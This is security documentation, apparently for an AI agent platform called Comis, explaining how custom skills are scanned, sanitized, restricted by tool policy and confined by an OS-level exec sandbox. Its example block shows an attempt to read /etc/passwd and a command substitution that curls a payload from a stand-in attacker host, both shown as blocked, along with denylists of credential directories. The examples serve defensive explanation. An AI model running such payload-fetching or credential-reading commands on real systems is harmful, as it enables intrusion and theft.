> ## Documentation Index
> Fetch the complete documentation index at: https://comis-feature-matrix-channel.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# Skill Sandboxing

> How Comis isolates skills to prevent malicious or compromised code from causing harm

When you add custom skills to your agents -- prompt templates, MCP integrations, or third-party tools -- Comis runs them through multiple layers of protection. Before a skill loads, its content is scanned for threats. Before it executes, dangerous patterns are sanitized. During execution, tool access is restricted to only what the skill needs. This multi-layer approach means even a compromised skill cannot harm your system.

<Note>
  **Two different sandboxes.** Comis has two distinct sandbox concepts that are
  sometimes conflated:

  * **Skill sandbox** (this page) -- *application-level* protection that runs
    whenever a skill is loaded or invoked: content scanning, sanitization, tool
    policy, budget caps. This applies to **all** skills regardless of how they
    execute.
  * **Exec sandbox** ([separate page](/security/exec-sandbox)) -- *OS-level*
    filesystem isolation for the `system.exec` tool only, using bubblewrap on
    Linux or sandbox-exec on macOS. It does **not** sandbox arbitrary agent
    code, MCP servers, or in-process Node tools.

  Use this page for skill loading and tool-policy questions; use the Exec
  Sandbox page for shell-command isolation.
</Note>

## What the Sandbox Protects Against

The sandboxing system is designed to catch a range of threats:

* **Malicious skills** -- A skill that tries to execute system commands, read environment variables, or exfiltrate data
* **Compromised dependencies** -- An MCP server or external tool that has been tampered with
* **Resource abuse** -- A skill that consumes excessive memory, CPU, or network bandwidth
* **Data exfiltration** -- A skill that tries to send your data to external servers
* **Prompt injection via skills** -- A skill that contains hidden instructions to override agent behavior

Even if you trust your skill sources today, the sandbox ensures that a future compromise -- whether from a supply chain attack or accidental misconfiguration -- does not put your system at risk.

## How the Sandbox Works

The sandboxing process is automatic. When an agent loads a skill, Comis runs it through a pipeline of checks before the skill can execute. You do not need to invoke the sandbox manually -- it is always active for all skills.

The key principle is defense in depth: each layer catches a different type of threat, so a skill must pass all of them to execute. A threat that slips past one layer is caught by the next.

## The Four Layers of Sandboxing

Skills pass through four layers of protection before and during execution. Each layer catches a different category of threat.

<Steps>
  <Step title="Content Scanning">
    Before a skill is loaded, Comis scans its content for six threat categories:

    * **Command execution** -- Shell commands, eval calls, subprocess invocations
    * **Environment harvesting** -- Attempts to read API keys from environment variables
    * **Cryptocurrency mining** -- Crypto mining scripts or wallet addresses
    * **Network exfiltration** -- Suspicious outbound network requests
    * **Obfuscated encoding** -- Base64-encoded payloads and other encoding tricks
    * **XML injection** -- XML entity attacks and breakout attempts

    Critical threats block the skill from loading entirely, while lower-severity findings generate warnings.

    For the full list of scanned patterns and configuration options, see [Security Scanning](/skills/security-scanning).
  </Step>

  <Step title="Sanitization">
    All skill content passes through a four-step sanitization pipeline:

    1. **HTML comment stripping** -- Removes hidden instructions embedded in HTML comments
    2. **Unicode normalization (NFKC)** -- Converts visually similar characters to their canonical forms
    3. **Invisible character removal** -- Strips zero-width characters and other invisible Unicode
    4. **Size enforcement** -- Rejects content exceeding the 20,000 character limit

    This catches threats that content scanning might miss -- for example, instructions hidden using zero-width characters or encoded in unusual Unicode forms.

    For sanitization details, see [Security Scanning](/skills/security-scanning).
  </Step>

  <Step title="Tool Policy">
    Each agent has a tool policy that controls which tools skills can access. Five built-in profiles give you a starting point:

    * **minimal** -- Basic file operations only
    * **coding** -- Development tools (read, write, edit, execute)
    * **messaging** -- Communication tools only
    * **supervisor** -- Fleet management and administration
    * **full** -- All tools, no restrictions (this is the default)

    You can further customize with allow and deny lists. A skill cannot use a tool that the agent's policy does not permit, regardless of what the skill requests.

    For profile configuration and custom rules, see [Tool Policy](/skills/tool-policy).
  </Step>

  <Step title="Execution Constraints">
    During execution, additional safety limits apply:

    * **Budget caps** prevent runaway API costs by limiting tokens per execution
    * **Circuit breakers** pause agents with high error rates to prevent cascading failures
    * **Step limits** cap the number of tool calls per execution

    These constraints ensure that even if a skill passes all other checks, it cannot consume unlimited resources.

    For budget and circuit breaker configuration, see [Safety](/agents/safety).
  </Step>
</Steps>

## OS-Level Filesystem Sandbox (Exec Tool)

For the special case of the `system.exec` tool, which spawns a shell, the
skill-level layers above are reinforced by a kernel-enforced filesystem
namespace. This is the **only** Comis sandbox that operates at the OS level.

| Platform | Provider                                                         | Mechanism                                                                       |
| -------- | ---------------------------------------------------------------- | ------------------------------------------------------------------------------- |
| Linux    | [bubblewrap](https://github.com/containers/bubblewrap) (`bwrap`) | Mount, PID, user, IPC, and cgroup namespaces; private /tmp; `--die-with-parent` |
| macOS    | `sandbox-exec` (built-in)                                        | SBPL profile generated per invocation; default-deny; symlink-aware paths        |

The provider is **auto-detected** at daemon startup -- Comis picks bwrap on
Linux and sandbox-exec on macOS. If the binary is missing, the exec tool
logs a warning and falls back to running unsandboxed (you can change this to
hard-fail by setting `execSandbox.enabled: "always"` and ensuring the binary
is installed).

### Successful exec call vs blocked exec call

Here is what an agent sees when it tries to read a permitted vs forbidden
path through the exec tool. The agent's workspace lives at
`~/.comis/workspace-code-assistant/`.

```bash theme={null}
# ALLOWED -- inside the workspace, sandbox mounts it read-write
$ exec command="cat README.md"
# Comis README. Welcome to the agent workspace...

# BLOCKED -- outside the workspace, sandbox does not mount /etc
$ exec command="cat /etc/passwd"
# bash: /etc/passwd: No such file or directory
# (the file exists on the host, but it is invisible inside the namespace)

# BLOCKED before the sandbox even runs -- ExecSecurityValidator rejects
# shell substitution
$ exec command='echo $(curl https://evil.example.com/payload.sh)'
# Error: dangerous shell pattern detected: command substitution $(...)
```

For the full exec sandbox configuration, mount table, and platform notes,
see [Exec Sandbox](/security/exec-sandbox).

### Autonomy jail hardening

When an agent runs an autonomy-bearing surface (the orchestrate/script runner),
the bwrap jail is hardened beyond the baseline filesystem isolation. These
controls are **defense-in-depth** -- each one stands alone if another is absent:

* **Process hardening** -- `--new-session` (a fresh session keyring + no
  controlling TTY, which neutralizes the TIOCSTI keystroke-injection escape) and
  `--die-with-parent` (the jail dies with the daemon, no orphaned escape).
* **Seccomp profile** -- an optional `--seccomp` BPF filter denies the dangerous
  syscall surface (keyring, `ptrace`, `perf_event_open`, `bpf`, module loading)
  while allowing what interpreters need. The filter is a precompiled blob
  generated offline; when it is absent the jail **degrades gracefully** (the
  other controls still apply) rather than failing to start.
* **Bind-mount validator** -- every dynamic, caller- or agent-supplied bind
  (workspace, temp dir, shared paths, read-only discovery paths) is screened
  against a denylist backstop before it is mounted. A bind that resolves into a
  system dir (`/etc`, `/proc`, `/sys`, `/dev`, `/root`, `/run`) or a credential
  dir (`~/.ssh`, `~/.aws`, `~/.gnupg`, `~/.config`, `~/.npm`, `~/.netrc`) -- or
  a **symlink** whose real target does -- is **refused at jail construction**
  (it fails loud; it is never silently mounted). Symlinks are resolved through
  every ancestor, so a symlinked leaf cannot smuggle a blocked path past a naive
  string check.
* **Writable-path audit** -- no host-trusted writable path (the agent config,
  hooks, cron jobs, `~/.nvm`, learned-memory/skill files, or the bound Node
  binary) is mounted read-write, and no read-only mount of a *parent* lets a
  not-yet-existing child config be **created** inside the jail.
* **Namespace preflight** -- at startup Comis probes whether the host can build
  an unprivileged user namespace. If it cannot, the autonomy posture **downshifts
  to assistant** with a loud doctor/boot signal and a remediation hint -- it
  **never** silently falls back to an unjailed run.
* **Node-runtime honesty** -- surfaces that need `node` inside the jail probe for
  it on the jail PATH; if absent, the daemon's own `node` binary is bound
  **read-only**; if neither works, those surfaces are reported **unavailable**
  with a loud signal. Comis **never** claims a "bundled Node" and **never**
  silently runs them unjailed.

## What Happens When a Threat Is Found

The response depends on the severity of the finding:

* **Critical threat** -- The skill is blocked from loading. An audit event is recorded. The agent continues without the compromised skill.
* **Warning** -- The skill loads with a warning logged. The audit trail records the concern for your review.
* **Clean** -- The skill passes all checks and loads normally.

Comis errs on the side of caution. If a pattern looks suspicious, it is flagged even if it might be benign. You can review flagged skills and adjust content scanning settings if needed.

All findings -- whether critical, warning, or clean -- are recorded as audit events. You can view them in the [Security dashboard](/web-dashboard/security-view) or in your log files. This gives you a complete record of every skill that has been checked and what was found.

<Info>
  If a legitimate skill is incorrectly flagged as a threat, you can adjust the content scanning configuration to allow specific patterns. See [Security Scanning](/skills/security-scanning) for details.
</Info>

## Configuration

The most relevant sandbox settings are shown below. Detailed configuration lives on the linked pages.

```yaml title="~/.comis/config.yaml" theme={null}
skills:
  contentScanning:
    enabled: true             # Scan skill content for threats (default: true)
    blockOnCritical: true     # Block skills with critical findings (default: true)
```

| Setting                                  | Default | Details                                        |
| ---------------------------------------- | ------- | ---------------------------------------------- |
| `skills.contentScanning.enabled`         | `true`  | [Security Scanning](/skills/security-scanning) |
| `skills.contentScanning.blockOnCritical` | `true`  | [Security Scanning](/skills/security-scanning) |
| `skills.toolPolicy.profile`              | `full`  | [Tool Policy](/skills/tool-policy)             |

<Tip>
  For production deployments, pair content scanning with a restrictive tool policy profile. Content scanning catches malicious patterns at load time, while tool policy limits what a skill can do at runtime.
</Tip>

### Sandbox no-downgrade invariant

A confined agent must not be able to escalate by *delegation* — spawning a sub-agent that runs with a *less* confined sandbox than itself. Comis enforces a fail-closed **no-downgrade invariant** on the sub-agent spawn path: a child spawn is **refused before any run or session is created** when the child's resolved sandbox posture would be less confined than its spawner's on any dimension (exec / filesystem / network / uid), and a `security:sandbox_downgrade_refused` event is emitted. Missing posture config folds to the most-confined value, so a posture is never inferred more permissive than reality. For sub-agents today the **exec sandbox** dimension is the active one; the other dimensions are reserved for the deferred terminal path. The invariant is on by default and controlled by [`security.agentToAgent.sandboxNoDowngrade`](/reference/config-yaml); see the [Threat Model](/security/threat-model) for the trust-boundary rationale.

## MCP Server Sandboxing

MCP (Model Context Protocol) integrations connect your agents to external tools and data sources. Because MCP servers run as separate processes, they receive the same sandboxing treatment as other skills:

* **Content scanning** applies to the MCP server manifest and tool descriptions
* **Tool policy** controls which MCP tools your agents can use
* **Execution constraints** apply to MCP tool calls just like built-in tool calls

If an MCP server exposes a tool that your agent's policy does not allow, the tool is silently unavailable. The agent cannot discover or use it.

For MCP integration details, see [MCP](/skills/mcp).

## Related

<CardGroup cols={2}>
  <Card title="Security Scanning" icon="magnifying-glass" href="/skills/security-scanning">
    Detailed content scanner documentation
  </Card>

  <Card title="Tool Policy" icon="toolbox" href="/skills/tool-policy">
    Configure per-agent tool restrictions
  </Card>

  <Card title="Defense in Depth" icon="shield-halved" href="/security/defense-in-depth">
    How sandboxing fits into the security layers
  </Card>

  <Card title="Sandbox Reference" icon="file-code" href="/reference/sandbox">
    Technical sandbox reference
  </Card>
</CardGroup>
